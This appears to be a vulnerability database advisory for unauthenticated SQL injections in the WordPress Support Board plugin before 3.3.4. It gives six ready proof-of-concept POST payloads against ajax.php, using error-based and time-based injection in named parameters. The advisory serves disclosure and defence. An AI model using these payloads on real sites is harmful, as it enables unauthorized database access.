WordPress Plugin Vulnerabilities
Support Board < 3.3.4 - Multiple Unauthenticated SQL Injections
Description
The plugin does not escape multiple POST parameters (such as status_code, department, user_id, conversation_id, conversation_status_code, and recipient_id) before using them in SQL statements, leading to SQL injections which are exploitable by unauthenticated users.
Proof of Concept
The login-cookie parameter is needed, but does not require to be logged in. ----- PoC 1: Error Based SQLi (status_code) ----- Request POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1 Vulnerable Parameter: status_code (POST) function=new-conversation&status_code=2"+AND+EXTRACTVALUE(4597,CONCAT("","DB+Name:+",(SELECT+(ELT(4597=4597,""))),database()))+AND+"fKoo"="fKoo&title=&department=&agent_id=&routing=false&login-cookie=&user_id=46&language=false ----- PoC 2: Error Based SQLi (department)----- Request POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1 Vulnerable Parameter: department (POST) function=new-conversation&status_code=2o&title=&department=(UPDATEXML(5632,CONCAT(0x2e,"Database+Name:+",(SELECT+(ELT(5632=5632,""))),database()),3004))&agent_id=&routing=false&login-cookie=&user_id=46&language=false ----- PoC 3: Error Based SQLi (user_id) ----- Request POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1 Vulnerable Parameter: user_id (POST) function=send-message&user_id=-5"+AND+GTID_SUBSET(CONCAT("Database+Name:+",(SELECT+(ELT(3919=3919,""))),database()),3919)+AND+"wrOJ"="wrOJ&conversation_id=35&message=TEST+POC&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false ----- PoC 4: Time Based SQLi (conversation_id)----- Request POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1 Vulnerable Parameter: conversation_id (POST) function=send-message&user_id=5&conversation_id=45"+AND+(SELECT 1479+FROM+(SELECT(SLEEP(5)))xttx)--+BOXv&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false ----- PoC 5: Time Based SQLi (conversation_status_code)----- Request POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1 Vulnerable Parameter: conversation_status_code (POST) function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false+WHERE+9793=9793+AND+(SELECT+4500+FROM+(SELECT(SLEEP(5)))oJCl)--+uAGp&queue=false&payload=false&recipient_id=false&login-cookie=&language=false ----- PoC 6: Time Based SQLi (recipient_id)----- Request POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1 Vulnerable Parameter: recipient_id (POST) function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false+AND+(SELECT+7416+FROM+(SELECT(SLEEP(5)))eBhm)&login-cookie=&language=false
Affects Plugins
References
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
John Jefferson Li
Submitter
John Jefferson Li
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-09-03 (about 2 years ago)
Added
2021-09-13 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)